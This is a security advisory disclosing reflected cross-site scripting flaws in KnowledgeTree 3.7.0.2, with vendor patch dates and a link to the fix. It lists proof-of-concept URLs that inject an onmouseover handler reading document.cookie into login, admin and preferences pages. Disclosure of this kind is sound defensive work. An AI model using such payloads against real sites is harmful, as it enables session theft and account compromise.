KnowledgeTree 3.7.0.2 Cross Site Scripting

`Advisory ID: HTB23065  
Reference: https://www.htbridge.ch/advisory/multiple_vulnerabilities_in_knowledgetree_community_edition.html  
Product: KnowledgeTree Commercial and Community Editions  
Vendor: KnowledgeTree Inc. ( http://knowledgetree.org )   
Vulnerable Version: 3.7.0.2 and probably prior  
Tested Version: 3.7.0.2  
Vendor Notification: 21 December 2011   
Vendor Patch: 23 December 2011   
Vulnerability Type: XSS  
Status: Fixed by Vendor  
Risk Level: Medium   
Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.ch/advisory/ )   
  
  
Advisory Details:  
  
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in KnowledgeTree Community Edition, which can be exploited to perform cross-site scripting attacks.  
  
Input appended to the URL after multiple files is not properly sanitised before being returned to the user.   
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site  
  
The following PoC code is available:  
  
http://[host]/login.php/%22onmouseover=alert%28document.cookie%29;%3E  
http://[host]/admin.php/%22onmouseover=alert%28document.cookie%29;%3E  
http://[host]/admin.php/%22onmouseover=alert%28document.cookie%29;%3E  
http://[host]/preferences.php/%22onmouseover=alert%28document.cookie%29;%3E  
  
Successful exploitation of this vulnerabilities requires that Apache's directive "AcceptPathInfo" is set to "on" or "default" (default value is "default").  
  
  
  
Solution:  
  
Apply Vendor patch:   
http://www.knowledgetree.org/Security_advisory:_URL_Manipulation  
  
  
Disclaimer: Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on the web page in Reference field.  
`